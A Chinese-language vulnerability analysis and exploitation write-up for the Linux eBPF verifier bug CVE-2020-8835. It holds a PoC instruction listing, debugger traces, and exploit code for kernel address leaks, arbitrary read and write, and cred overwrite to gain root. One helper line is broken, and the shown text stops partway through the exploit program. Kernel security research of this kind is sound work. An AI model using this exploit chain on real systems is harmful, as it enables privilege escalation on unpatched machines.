【kernel exploit】CVE-2020-8835:eBPF verifier 整數截斷導致越界讀寫


【kernel exploit】CVE-2020-8835:eBPF verifier 錯誤處理導致越界讀寫

影響版本:v5.4.7 - v5.5.0 以及更新的版本,如5.6。

編譯選項CONFIG_BPF_SYSCALL,config所有帶BPF字樣的。

漏洞描述:在Linux Kernel commit(581738a681b6)中引入,kernel/bpf/verifier.c沒有正確將64位值轉換為32位(直接取低32位),使得BPF代碼驗證階段和實際執行階段不一致,導致越界讀寫。

補丁patch 去掉 __reg_bound_offset32 函數及其調用。

測試版本:Linux-5.5.0 測試環境下載地址

利用過程:當BPF程序的寄存器來自map(外部傳遞)時,若該寄存器出現在JMP32指令中,會被__reg_bound_offset32漏洞函數處理,導致verifier返回結果總為1。利用這個漏洞可以構造任意讀寫,越界讀可以泄露內核基址、傳入數據的基址;利用bpf_map_get_info_by_fd 函數構造任意4字節讀,泄露task_struct地址,注意多核與單核的泄露方法有區別;通過偽造 stack_map_ops 函數表中 map_push_elem 指針為 queue_stack_map_get_next_key,並替換 bpf_map->ops指向偽造的 stack_map_ops 函數表,構造任意地址寫4字節,修改進程 task_structcred 進行提權。

一、eBPF簡介

eBPF是extended Berkeley Packet Filter的縮寫。起初是用於捕獲和過濾特定規則的網絡數據包,現在也被用在防火牆,安全,內核調試與性能分析等領域。

eBPF程序的運行過程如下:在用戶空間生產eBPF“字節碼”,然后將“字節碼”加載進內核中的“虛擬機”中,然后進行一些列檢查,通過則能夠在內核中執行這些“字節碼”。類似Java與JVM虛擬機,但是這里的虛擬機是在內核中的。

1. 內核中的eBPF驗證程序

允許用戶代碼在內核中運行存在一定的危險性。因此,在加載每個eBPF程序之前,都要執行許多檢查。主要函數是bpf_check(),包含check_cfg()do_check_main()函數。

第一,調用check_cfg()——確保eBPF程序能正常終止,不包含任何可能導致內核鎖定的循環。這是通過對程序的控制流圖CFG進行深度優先搜索來實現的。程序需3個條件:a.所有指令必須可達;b.沒有往回跳轉的指令;c.沒有跳的太遠超出指令范圍的指令。

第二,調用do_check_main()->do_check_common()->do_check()——內核驗證器(verifier ),模擬eBPF程序的執行,模擬通過后才能正常加載。在執行每條指令之前和之后,都需要檢查虛擬機狀態,以確保寄存器和堆棧狀態是有效的。禁止越界跳轉,也禁止訪問非法數據。

驗證器不需要遍歷程序中的每條路徑,它足夠聰明,可以知道程序的當前狀態何時是已經檢查過的狀態的子集。由於所有先前的路徑都必須有效(否則程序將無法加載),因此當前路徑也必須有效。 這允許驗證器“修剪”當前分支並跳過其仿真。其次具有未初始化數據的寄存器無法讀取,這樣做會導致程序加載失敗。

在遇到具有分支,例如if xxx goto pc+x這樣的語句,內核會檢測if判斷的條件是否恆成立。若判斷為恆成立或者恆不成立,則只分析相應的那一分支,而另一分支則不進行分析。沒有被分析到的指令被視為dead code,會調用sanitize_dead_code()將dead code全部替換為exit。

第三,驗證器使用eBPF程序類型來限制可以從eBPF程序中調用哪些內核函數以及可以訪問哪些數據結構。

bpf程序的執行流程如下圖:

1-eBPF principle

2. eBPF程序的載入

(1)bpf_insn —— 指令結構體

struct bpf_insn {
    __u8    code;        /* opcode */
    __u8    dst_reg:4;    /* dest register */
    __u8    src_reg:4;    /* source register */
    __s16    off;        /* signed offset */
    __s32    imm;        /* signed immediate constant */
};

每一個eBPF程序都是一個bpf_insn數組,使用bpf系統調用將其載入內核。

(2)bpf_prog_load —— eBPF程序載入的系統調用

#define LOG_BUF_SIZE 65536
#define __NR_BPF 321
char bpf_log_buf[LOG_BUF_SIZE];
int bpf_prog_load(enum bpf_prog_type type,
                  const struct bpf_insn *insns, int insn_cnt,
                  const char *license)
{
    union bpf_attr attr = {
        .prog_type = type,   // type —— eBPF程序類型,不同類型的程序作用不同,例如當type為BPF_PROG_TYPE_SOCKET_FILTER時,表示該程序的作用是過濾進出口網絡報文
        .insns = ptr_to_u64(insns), // insns —— bpf_insn數組,表示該程序的指令
        .insn_cnt = insn_cnt,  		// insn_cnt —— 指令的條數
        .license = ptr_to_u64(license), // license —— 必須為"GPL"
        .log_buf = ptr_to_u64(bpf_log_buf), // bpf_log_bpf —— 存儲的log信息,可以在程序載入內核之后打印它,能獲取比較詳細的驗證時信息
        .log_size = LOG_BUF_SIZE,
        .log_level = 1,
    };

    return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));
}

用戶層調用編寫示例:

int load_prog()
{
    struct bpf_insn prog[] = {
        /*
        指令……
        */
    };
    return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog)/sizeof(struct bpf_insn), "GPL");
}

二、漏洞分析

1. POC

poc如下:goto pc-1不能通過check_cfg檢查,但還是被載入內核。

0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (25) if r0 > 0x30303030 goto pc+0
9: (76) if w0 s>= 0x303030 goto pc+2
10: (05) goto pc-1
11: (05) goto pc-1
12: (95) exit

漏洞原因:內核在檢查程序合法性的過程中,第9句在檢查時被判斷為恆成立,之后的檢查便只檢查了第12句,第10和第11句被視為dead code,在之后的sanitize_dead_code()函數中被修改為goto pc-1。而沒有想到的是,在實際執行的時候第9句實際上是恆不成立,因此就導致程序執行了goto pc-1。在實際執行跳轉指令的時候,跳轉的偏移會默認加1,因此實際上goto pc-1跳轉到的地方不是自己的上一條,而是自己,這就導致程序空轉,陷入死循環。

模擬執行時,reg->smin_value0x10300000sval0x303030,可以看到這里會返回1,表示該if語句恆成立,下一個被檢測的語句就變成了第12句,而第10和第11句就被patch成了goto pc-1

實際執行時,此刻的w00xCFD0,小於0x303030,就會導致真正在執行的過程中,內核會執行goto pc-1,導致空轉,死循環。

2. 漏洞分析

(2-1)寄存器結構體:模擬運行BPF指令時,用bpf_reg_state來保存寄存器的狀態信息
// ------------------------------------------------
struct bpf_reg_state {
    enum bpf_reg_type type;
    union {
        /* valid when type == PTR_TO_PACKET */
        u16 range;

        /* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
         *   PTR_TO_MAP_VALUE_OR_NULL
         */
        struct bpf_map *map_ptr;

        u32 btf_id; /* for PTR_TO_BTF_ID */

        /* Max size from any of the above. */
        unsigned long raw;
    };
    s32 off;
    u32 id;
    u32 ref_obj_id;
    /* For scalar types (SCALAR_VALUE), this represents our knowledge of
     * the actual value.
     * For pointer types, this represents the variable part of the offset
     * from the pointed-to object, and is shared with all bpf_reg_states
     * with the same id as us.
     */
    struct tnum var_off;  // tnum結構體詳見以下!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    /* Used to determine if any memory access using this register will
     * result in a bad access.
     * These refer to the same value as var_off, not necessarily the actual
     * contents of the register.
     */
    s64 smin_value; // 有符號時可能的最小值
    s64 smax_value; // 有符號時可能的最大值
    u64 umin_value; // 無符號時可能的最小值
    u64 umax_value; // 無符號時可能的最大值
    struct bpf_reg_state *parent;
    u32 frameno;
    s32 subreg_def;
    enum bpf_reg_liveness live;
    /* if (!precise && SCALAR_VALUE) min/max/tnum don't affect safety */
    bool precise;
};

// ------------------------------------------------
/* tnum: tracked (or tristate) numbers
 *
 * A tnum tracks knowledge about the bits of a value.  Each bit can be either
 * known (0 or 1), or unknown (x).  Arithmetic operations on tnums will
 * propagate the unknown bits such that the tnum result represents all the
 * possible results for possible values of the operands.
 */
struct tnum {
    u64 value; 		// value: 某個bit為1 表示這個寄存器的這個bit 確定是1
    u64 mask;		// mask: 某個bit 為1表示這個 bit 是未知的
};

示例:假如value010(二進制表示) , mask100 , 那么就是經過前面的指令的模擬執行之后,可以確定這個寄存器的第二個bit 一定是 1, 第三個 bit 在mask 里面設置了,表示這里不確定,可以是1或者是0。詳細的文檔可以在Documentnetworking/filter.txt 里面找到。

(2-2)漏洞函數——__reg_bound_offset32() 用於處理跳轉指令

__reg_bound_offset32()函數由commit 581738a681b6引入。

static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
    u64 mask = 0xffffFFFF;
    struct tnum range = tnum_range(reg->umin_value & mask,
                       reg->umax_value & mask);
    struct tnum lo32 = tnum_cast(reg->var_off, 4);
    struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

    reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}
(2-3)跳轉指令的處理

示例:對於跳轉指令,例如指令BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)。會采用__reg_bound_offset()函數(__reg_bound_offset32 的64位版本)來更新狀態,false_regtrue_reg 分別代表兩個分支的狀態,即該if不成立時的regif成立時的reg

// reg_set_min_max_inv() 函數:遇到跳轉指令時,若待比較的r0不是一個確定的數字,因此會調用reg_set_min_max_inv來設置寄存器的最大最小值。
// 調用順序:do_check() -> check_cond_jmp_op() -> reg_set_min_max_inv() -> __reg_bound_offset32()
	/* We might have learned some bits from the bounds. */
    __reg_bound_offset(false_reg);
    __reg_bound_offset(true_reg);
    if (is_jmp32) {            <----------------------
        __reg_bound_offset32(false_reg);    <-------------------
        __reg_bound_offset32(true_reg);        <-------------------
    }

r5 >= 8 的時候 , 這條指令會跳到pc+3 (正確分支),r5<8時跳到錯誤分支。

(2-4)__reg_bound_offset32流程分析

說明__reg_bound_offset32 會在使用BPF_JMP32 指令時調用,ebpf 的BPF_JMP 寄存器之間是64bit比較的,換成BPF_JMP32 的時候就只會比較低32bit。 接着看看__reg_bound_offset32()的過程:

// __reg_bound_offset32() —— 根據reg->umin_value && umax_value,求reg->var_off的范圍
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
    u64 mask = 0xffffFFFF;
    struct tnum range = tnum_range(reg->umin_value & mask,
                       reg->umax_value & mask);  	// 1.把之前狀態轉移的umin_value 和umax_value 只取低32bit , 創建一個新的 tnum
    struct tnum lo32 = tnum_cast(reg->var_off, 4); 	// 2.取原來 var_off 的 低32bit
    struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

    reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range)); // 3.tnum_intersect —— 如果a和b有某一個bit是1, 那么代表已經確定這個bit是1了, 所以這里用| 的方式, 兩者信息整合起來最后生成一個新的var_off
}

 struct tnum tnum_range(u64 min, u64 max)                            
 {                                                                   
     u64 chi = min ^ max, delta;
     // 從右往左數,第一個為1的bit 是哪一位(從1開始數), 表示沒有1
     // 如:  fls64(0100)  ==  3
     u8 bits = fls64(chi);                                          

     /* special case, needed because 1ULL << 64 is undefined */      
     if (bits > 63)                                                  
         return tnum_unknown;                                        
     /* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7.           
     |* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return   
     |*  constant min (since min == max).                            
     |*/                                                             
     delta = (1ULL << bits) - 1;                                     
     return TNUM(min & ~delta, delta);                               
 } 

struct tnum tnum_intersect(struct tnum a, struct tnum b)     
{                                                            
    u64 v, mu;                                               

    v = a.value | b.value;                                   
    mu = a.mask & b.mask;                                    
    return TNUM(v & ~mu, mu);                                
}   

漏洞:計算range 的時候直接取低32bit,因為原本的umin_valueumax_value 都是64bit的, 假如計算之前umin_value == 1umax_value == 1 0000 0001 , 取低32bit之后他們都會等於1,這樣range計算完之后TNUM(min & ~delta, delta);min = 1 , delta = 0(chi == 0)。

然后到tnum_intersect 函數, 假設a.value = 0 ,計算后的v == 1mu ==0 ,最后得到的 var_off 就是固定值1, 也就是說,不管寄存器真實的值是怎么樣,在verifier 過程都會把它當做是1。

解釋:看POC中0 & 1,開始r0賦值為具體值,經過第1條語句后變成不確定的值,這樣經過verifier 過程之后r0.var_off->value就變成0了;另一種情況,如果r0是運行時載入的,那r0也是不確定的值,經過verifier 過程之后就被當做1了。

例1:

0: (b7) r0 = 808464432
1: (7f) r0 >>= r0    # r0 右移位數超過 63,則r0變成不確定的值

例2:創建數組array map,運行時將map[1]載入 r6,這時verifier不知道r6是什么,這時r6.var_off->value = 0

3.調試分析

首先創建array map,讓 r9 = map[1]。r6是用於測試漏洞的寄存器。

BPF_LDX_MEM(BPF_DW,6,9,0), // 把map[1]值加載到r6中,這樣verifier不知道r6是什么,這時r6.var_off->value = 0。
BPF_JMP_IMM(BPF_JGE,6,1,1),  // 在pc+1 的地方 umin_value 變成1
BPF_EXIT_INSN(),
BPF_MOV64_IMM(8,0x1),        // 這個時候 r8 = 0x100000001, BPF_JLE 的 pc+1 分支上, umax_value = 0x100000001
BPF_ALU64_IMM(BPF_LSH,8,32),
BPF_ALU64_IMM(BPF_ADD,8,1),
/*BPF_JLE  tnum  umax 0x100000001*/ 
BPF_JMP_REG(BPF_JLE,6,8,1),
BPF_EXIT_INSN(),
BPF_JMP32_IMM(BPF_JNE,6,5,1), // 觸發漏洞  BPF_JMP32_IMM
BPF_EXIT_INSN(),

因為r6 是從 map[0] load 進來的,實際運行的時候可以是任何值,但經過verifier操作后都被當做1。

__reg_bound_offset32 下個斷點,我這里是在kernel/bpf/verifier.c:1038false_regtrue_reg在函數執行前后值如下:

// false_reg 執行前
var_off = {
   value = 0x5,
   mask = 0x100000000
 },
 smin_value = 0x1,
 smax_value = 0x100000001,
 umin_value = 0x1,
 umax_value = 0x100000001,
//--- 執行后
 var_off = {
   value = 0x5,
   mask = 0x100000000
 },
 smin_value = 0x1,
 smax_value = 0x100000001,
 umin_value = 0x1,
 umax_value = 0x100000001,

// true_reg 執行前
var_off = {
  value = 0x0,
  mask = 0x1ffffffff
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// --- 執行后
  var_off = {
    value = 0x1,				// 變成1,恆跳轉
    mask = 0x100000000
  },
  smin_value = 0x1,
  smax_value = 0x100000001,
  umin_value = 0x1,
  umax_value = 0x100000001,

三、利用

1.漏洞利用

// 前面的指令執行完后,再執行以下指令,一開始令 r6=2*(實際值),但verifier后會被當做1。
BPF_ALU64_IMM(BPF_AND, 6, 2),	// verifier: ( 1&2 )>>1 == 0; 實際執行: (2 & 2) >> 1 ==1。
BPF_ALU64_IMM(BPF_RSH, 6, 1),
BPF_ALU64_IMM(BPF_MUL,6,0x110), // r6 = r6 * 0x110 , verifier 過程仍然認為r6 = 0,但是實際運行時 r6 = 0x110
BPF_MOV64_REG(7,0), 			// 獲取一個map,我們叫它expmap 吧, r7 = expmap[0]
BPF_ALU64_REG(BPF_SUB,7,6)		// r7 = r7 - r6,r7是指針,verifier 會根據map的 size 來檢查邊界。但是verifier 認為 r6==0,  r7 - 0 == r7,  可通過檢查。實際執行時 r7 = r7 - 0x110,即可越界讀寫。

2.地址泄露

// 創建map,傳入用戶數據,這個結構是用戶態與內核態交互的一塊共享內存
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,key_size,value_size,max_entries,0);

int bpf_create_map(enum bpf_map_type map_type, int key_size,
		   int value_size, int max_entries, __u32 map_flags)
// key_size:表示索引的大小范圍,key_size=sizeof(int)=4.
// value_size:表示map數組每個元素的大小范圍,可以任意,只要控制在一個合理的范圍
// max_entries:表示map數組的大小,編寫利用時將其設為1

bpf_create_map()實際調用map_create()來創建bpf_array結構,我們傳入的數據放在value[] 處:

struct bpf_array {
    struct bpf_map map;     <-----------------
    u32 elem_size;
    u32 index_mask;
    struct bpf_array_aux *aux;
    union {
        char value[];		// 我們傳入的數據,在 bpf_array 中偏移0x110,所以bpf_map的結構地址是*(&map-0x110)
        void *ptrs[];
        void *pptrs[];
    };
}

struct bpf_map {
    const struct bpf_map_ops *ops; // 創建map時設置 BPF_MAP_TYPE_ARRAY 類型時,會將ops指針賦值為array_map_ops, array_map_ops 是一個全局結構包含很多函數指針,可以用於泄露內核地址;設置為BPF_MAP_TYPE_STACK 時 ops指針賦值為 stack_map_ops。
    struct bpf_map *inner_map_meta;
    void *security;
    enum bpf_map_type map_type;
    //....
    u64 writecnt;
}
//  /kernel/bpf/arraymap.c#L447		BPF_MAP_TYPE_ARRAY
const struct bpf_map_ops array_map_ops = {
	.map_alloc_check = array_map_alloc_check,
	.map_alloc = array_map_alloc,
	.map_free = array_map_free,
	.map_get_next_key = array_map_get_next_key,
	.map_lookup_elem = array_map_lookup_elem,
	.map_update_elem = array_map_update_elem,
	.map_delete_elem = array_map_delete_elem,
	.map_gen_lookup = array_map_gen_lookup,
	.map_direct_value_addr = array_map_direct_value_addr,
	.map_direct_value_meta = array_map_direct_value_meta,
	.map_seq_show_elem = array_map_seq_show_elem,
	.map_check_btf = array_map_check_btf,
};
// /kernel/bpf/queue_stack_maps.c#L272 		BPF_MAP_TYPE_STACK
const struct bpf_map_ops stack_map_ops = {
	.map_alloc_check = queue_stack_map_alloc_check,
	.map_alloc = queue_stack_map_alloc,
	.map_free = queue_stack_map_free,
	.map_lookup_elem = queue_stack_map_lookup_elem,
	.map_update_elem = queue_stack_map_update_elem,
	.map_delete_elem = queue_stack_map_delete_elem,
	.map_push_elem = queue_stack_map_push_elem,
	.map_pop_elem = stack_map_pop_elem,
	.map_peek_elem = stack_map_peek_elem,
	.map_get_next_key = queue_stack_map_get_next_key,
};

泄露內核地址:讀取bpf_map_ops *ops指針即可。

泄露map_elem地址:&exp_value[0]-0x110+0xc0(wait_list)處保存着指向wait_list自身(bpf_array中)的地址,用於泄露exp_value的地址。

gef➤  p/a *(struct bpf_array *)0xffff88800d878000              
$5 = {  
  map = {          
    ops = 0xffffffff82016340 <array_map_ops>,//<-- 泄露內核地址
    inner_map_meta = 0x0 <fixed_percpu_data>,
    security = 0xffff88800e93f0f8,
    map_type = 0x2 <fixed_percpu_data+2>,
    key_size = 0x4 <fixed_percpu_data+4>,
    value_size = 0x2000 <irq_stack_backing_store>, 
    max_entries = 0x1 <fixed_percpu_data+1>,
//...    
    usercnt = {    
//..
      wait_list = {
        next = 0xffff88800d8780c0,//<-- 泄露 bpf_array 地址
        prev = 0xffff88800d8780c0
      }
    },
    writecnt = 0x0 <fixed_percpu_data>
  },
  elem_size = 0x2000 <irq_stack_backing_store>,
  index_mask = 0x0 <fixed_percpu_data>,
  aux = 0x0 <fixed_percpu_data>,
  {
    value = 0xffff88800d878110,//<-- r7
    ptrs = 0xffff88800d878110,
    pptrs = 0xffff88800d878110
  }
}

3.任意讀

方法:利用BPF_OBJ_GET_INFO_BY_FD 選項進行任意讀。通過修改map->btf 指針為target_addr-0x58,讀取map->btf+0x58處的32 bit值(map->btf.id)。

調用順序BPF_OBJ_GET_INFO_BY_FD -> bpf_obj_get_info_by_fd() -> bpf_map_get_info_by_fd()

// bpf_map_get_info_by_fd()
static int bpf_map_get_info_by_fd(struct bpf_map *map,
                  const union bpf_attr *attr,
                  union bpf_attr __user *uattr)
{
    struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
    struct bpf_map_info info = {};    <---------------------------
    u32 info_len = attr->info.info_len;
	......
		if (map->btf) {
        	info.btf_id = btf_id(map->btf); // 修改map->btf 就可以進行任意讀,獲得btf_id,在btf結構偏移0x58處
        	info.btf_key_type_id = map->btf_key_type_id;
        	info.btf_value_type_id = map->btf_value_type_id;
    	}
	......
        if (copy_to_user(uinfo, &info, info_len) || // 傳到用戶態的info中,泄露信息
        	put_user(info_len, &uattr->info.info_len))
        	return -EFAULT;

    return 0;
}

u32 btf_id(const struct btf *btf)
{
    return btf->id;
}
(gdb) p/x &(*(struct btf*)0)->id  // 獲取id在btf結構中的偏移 —— 等號右邊
$56 = 0x58

(gdb) p/x &(*(struct bpf_map_info*)0)->btf_id // 獲取btf_id在bpf_map_info中偏移 —— 等號左邊
$57 = 0x40

所以只需要修改 map->btftarget_addr-0x58,就可以把btf->idtarget_addr處的值)泄露到用戶態info中,泄漏的信息在struct bpf_map_info 結構偏移0x40處,由於是u32類型,所以一次只能泄露4個字節。

利用代碼如下:

static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info) 
{
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)&key,
        .value = (__u64)value,
            .info.bpf_fd = mapfd,
            .info.info_len = 0x100,
            .info.info = (__u64)info,
    };

    syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
    return *(uint32_t *)((char *) +0x40);
}

4.查找task_struct

// 通過gdb調試來尋找 init_pid_ns 結構的地址
ksymtab 保存init_pid_ns結構的偏移,init_pid_ns字符串的偏移
kstrtab 保存init_pid_ns的字符串

(gdb) p &__ksymtab_init_pid_ns
$48 = (<data variable, no debug info> *) 0xffffffff822f2578
(gdb) x/2wx 0xffffffff822f2578
0xffffffff822f2578: 0x001527c8  0x0000a1f9  // init_pid_ns 結構的位置偏移 + 字符串偏移
(gdb) x/10s 0xffffffff822f257c+0xa1f9
0xffffffff822fc775 <__kstrtab_init_pid_ns>: "init_pid_ns"
0xffffffff822fc781 <__kstrtabns_kernel_param_unlock>:   ""
(gdb) x/10gx 0xffffffff822f2578+0x001527c8
0xffffffff82444d40 <init_pid_ns>:   0x0000000000000002  0x0080000400000000
0xffffffff82444d50 <init_pid_ns+16>:    0xffff88801e469242  0x0000006f00000000
(4-1)通過漏洞來搜索 init_pid_ns 結構的地址

先搜索"init_pid_ns" 字符串可以得到 __kstrtab_init_pid_ns 的地址;再搜索滿足 target_addr + (int)*target_addr == __kstrtab_init_pid_ns 條件的 target_addrtarget_addr - 4 即為 __ksymtab_init_pid_ns 地址;加上 init_pid_ns 結構的位置偏移即可,target_addr - 4 + (int)*(target_addr - 4) 即為 init_pid_ns 結構的地址。

(4-2)通過pid 和 init_pid_ns 查找對應pid的 task_struct

內核查找過程:通過 find_task_by_pid_ns 函數查找。

// -------------(1)
struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)  // nr —— 當前進程的pid;ns —— init_pid_ns結構地址;目標 —— ns->idr字段的內容。
{
    RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
             "find_task_by_pid_ns() needs rcu_read_lock() protection");
    return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID); // <------------
}
// -------------(2)
struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
    return idr_find(&ns->idr, nr); // <---------
}

// -------------(3)lib/idr.c:
void *idr_find(const struct idr *idr, unsigned long id)
{
    return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base); // 目標 —— 獲取&idr->idr_rt 和 idr->idr_base
}

// -------------(4)lib/radix-tree.c:
void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
    return __radix_tree_lookup(root, index, NULL, NULL); // <-------------
}
// -------------(5)
void *__radix_tree_lookup(const struct radix_tree_root *root,
              unsigned long index, struct radix_tree_node **nodep,
              void __rcu ***slotp)
{
    struct radix_tree_node *node, *parent;
    unsigned long maxindex;
    void __rcu **slot;

 restart:
    parent = NULL;
    slot = (void __rcu **)&root->xa_head;
    radix_tree_load_root(root, &node, &maxindex); //將root->xa_head的值賦給node
    if (index > maxindex)
        return NULL;

    while (radix_tree_is_internal_node(node)) {
        unsigned offset;

        parent = entry_to_node(node); // parent = node & 0xffff ffff ffff fffd
        offset = radix_tree_descend(parent, &node, index); // 重點:循環查找當前進程的node
        slot = parent->slots + offset; //
        if (node == RADIX_TREE_RETRY)
            goto restart;
        if (parent->shift == 0) // 當shift為0時,退出,說明找到當前進程的node
            break;
    }

    if (nodep)
        *nodep = parent; 
    if (slotp)
        *slotp = slot; 
    return node; 
}
// -------------(6)重點 —— radix_tree_descend: 獲取當前進程的node
RADIX_TREE_MAP_MASK : 0x3f
static unsigned int radix_tree_descend(const struct radix_tree_node *parent, 
            struct radix_tree_node **nodep, unsigned long index)
{
    unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK;  // 要讀取parent->shift的值,並與0x3f 與計算
    void __rcu **entry = rcu_dereference_raw(parent->slots[offset]);  // 獲取parent->slots[offset] 作為下一個node

    *nodep = (void *)entry; //

    return offset; //
}
// -------------radix_tree_node 結構
#define radix_tree_node xa_node
struct xa_node {
    unsigned char   shift;      /* Bits remaining in each slot */
    unsigned char   offset;     /* Slot offset in parent */
    unsigned char   count;      /* Total entry count */
    unsigned char   nr_values;  /* Value entry count */
    struct xa_node __rcu *parent;   /* NULL at top of tree */
    struct xarray   *array;     /* The array we belong to */
    union {
        struct list_head private_list;  /* For tree user */
        struct rcu_head rcu_head;   /* Used when freeing node */
    };
    void __rcu  *slots[XA_CHUNK_SIZE];
    union {
        unsigned long   tags[XA_MAX_MARKS][XA_MARK_LONGS];
        unsigned long   marks[XA_MAX_MARKS][XA_MARK_LONGS];
    };
};
// -------------(7)跳到第一步出現的 pid_task: 根據當前進程的node獲取相應的 task_struct
enum pid_type
{
    PIDTYPE_PID,
    PIDTYPE_TGID,
    PIDTYPE_PGID,
    PIDTYPE_SID,
    PIDTYPE_MAX,
};
type 為PIDTYPE_PID, 值為0

#define hlist_entry(ptr, type, member) container_of(ptr,type,member)
struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
    struct task_struct *result = NULL;
    if (pid) {
        struct hlist_node *first;
        first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]), // 獲取&pid->tasks[0] 的內容
                          lockdep_tasklist_lock_is_held());
        if (first)
            result = hlist_entry(first, struct task_struct, pid_links[(type)]);// first為pid_links[0]的地址,由此獲得task_struct的起始地址
    }
    return result;
}
// ------------- tasks[0] 和 pid_links[0] 的偏移
(gdb) p/x &(*(struct pid*)0x0)->tasks[0]
$10 = 0x8
(gdb) p/x &(*(struct task_struct *)0)->pid_links[0]
$8 = 0x500

5.任意寫

步驟

  • 調用 bpf_create_map() 構造 bpf_array 時,類型設置為 BPF_MAP_TYPE_QUEUE 或者 BPF_MAP_TYPE_STACK 。(這樣bpf_array->map->ops會被賦值為全局函數表queue_map_opsstack_map_ops,其中包含可利用的map_push_elem 函數指針)。

  • exp_value上布置偽造的array_map_ops,偽造的 array_map_ops 中將 map_push_elem 填充為map_get_next_key ,這樣調用map_push_elem時就會調用map_get_next_key ,並將&exp_value[0]的地址覆蓋到exp_map[0],同時要構造 map 的一些字段繞過某些檢查。

struct bpf_array {
    struct bpf_map map;     // <-------- 覆蓋為 &exp_value[0]
    u32 elem_size;
    u32 index_mask;
    struct bpf_array_aux *aux;
    union {
        char value[];		// 用戶數據 exp_value,放置偽造的 array_map_ops 函數表
        void *ptrs[];
        void *pptrs[];
    };
}

// /kernel/bpf/queue_stack_maps.c#L272 		BPF_MAP_TYPE_STACK
const struct bpf_map_ops stack_map_ops = {
	.map_alloc_check = queue_stack_map_alloc_check,
	.map_alloc = queue_stack_map_alloc,
	.map_free = queue_stack_map_free,
	.map_lookup_elem = queue_stack_map_lookup_elem,
	.map_update_elem = queue_stack_map_update_elem,
	.map_delete_elem = queue_stack_map_delete_elem,
	.map_push_elem = queue_stack_map_push_elem,   // 偽造成 map_get_next_key 
	.map_pop_elem = stack_map_pop_elem,
	.map_peek_elem = stack_map_peek_elem,
	.map_get_next_key = queue_stack_map_get_next_key,
};

// 需偽造的關鍵字段
spin_lock_off = 0
max_entries = 0xffff ffff 
//寫入的index要滿足(index >= array->map.max_entries), 將map_entries改成0xffff ffff
map_type = BPF_MAP_TYPE_STACK
//map 的類型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK時,map_update_elem 會調用map_push_elem
  • 調用bpf_update_elem任意寫內存
bpf_update_elem->map_update_elem(mapfd, &key, &value, flags) -> map_push_elem(被填充成 map_get_next_key )
 ->array_map_get_next_key

int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
// 
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)   
{                                                                                   
    struct bpf_array *array = container_of(map, struct bpf_array, map);             
    u32 index = key ? *(u32 *)key : U32_MAX;                                        
    u32 *next = (u32 *)next_key;                                                    

    if (index >= array->map.max_entries) {    // index = value[0]                                   
        *next = 0;                                                                  
        return 0;                                                                   
    }                                                                               

    if (index == array->map.max_entries - 1)                                        
        return -ENOENT;                                                             

    *next = index + 1; // (u32 *)next_key = *(u32 *)key +1       *flags = value[0]+1                                                       
    return 0;                                                                       
}

map_push_elem() 的參數是 valueuattr->flags,分別對應 array_map_get_next_key()keynext_key 參數,之后有 index = value[0]next = flags , 最終效果是 *flags = value[0]+1,這里index 和 next 都是 u32 類型, 所以可以任意地址寫 4個byte。

6.總結

bpf_insn 說明

  • r6 保存ctrl_value的地址,r7保存exp_value的地址,r8為偏移
  • ctrl_map 保存輸入的偏移,泄露的地址,以及執行覆蓋偽造的array_map_ops操作
  • exp_map 保存偽造的array_map_ops
struct bpf_insn my_prog[] = {

        //-------- ctrl_mapfd
                BPF_LD_MAP_FD(BPF_REG_9,ctrl_mapfd),		// r9 = ctrl_mapfd
                BPF_MAP_GET(0,BPF_REG_8), 					// r8 = map[0]  即為 0x110
                BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),        // r6 = r0  

                BPF_LD_IMM64(BPF_REG_2,0x4000000000),		// r2 = 0x4000000000
                BPF_LD_IMM64(BPF_REG_3,0x2000000000),		// r3 = 0x2000000000
                BPF_LD_IMM64(BPF_REG_4,0xFFFFffff),			// r4 = 0xFFFFffff
                BPF_LD_IMM64(BPF_REG_5,0x1),				// r5 = 0x1

                BPF_JMP_REG(BPF_JGT,BPF_REG_8,BPF_REG_2,5),  // r8 > 0x4000000000 則跳轉
                BPF_JMP_REG(BPF_JLT,BPF_REG_8,BPF_REG_3,4),  // r8 < 0x2000000000 則跳轉
                BPF_JMP32_REG(BPF_JGT,BPF_REG_8,BPF_REG_4,3),// r8 > 0xFFFFffff 則跳轉
                BPF_JMP32_REG(BPF_JLT,BPF_REG_8,BPF_REG_5,2),// r8 < 0x1 則跳轉

